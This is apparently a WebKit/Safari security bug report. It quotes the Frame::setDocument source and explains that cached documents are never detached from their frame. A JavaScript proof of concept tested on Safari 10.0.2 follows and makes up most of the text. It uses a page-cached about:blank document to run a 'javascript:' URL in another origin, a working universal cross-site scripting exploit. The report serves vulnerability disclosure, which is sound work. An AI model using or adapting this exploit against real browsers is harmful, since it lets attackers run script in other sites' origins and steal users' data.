void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
PoC:
"use strict";
document.write("click anywhere to start");
window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;
let a = d.createElement("a");
a.href = "https://abc.xyz/";
a.click(); <<------- about:blank -> Document::InPageCache
let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);
let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};
Tested on Safari 10.0.2(12602.3.12.0.1).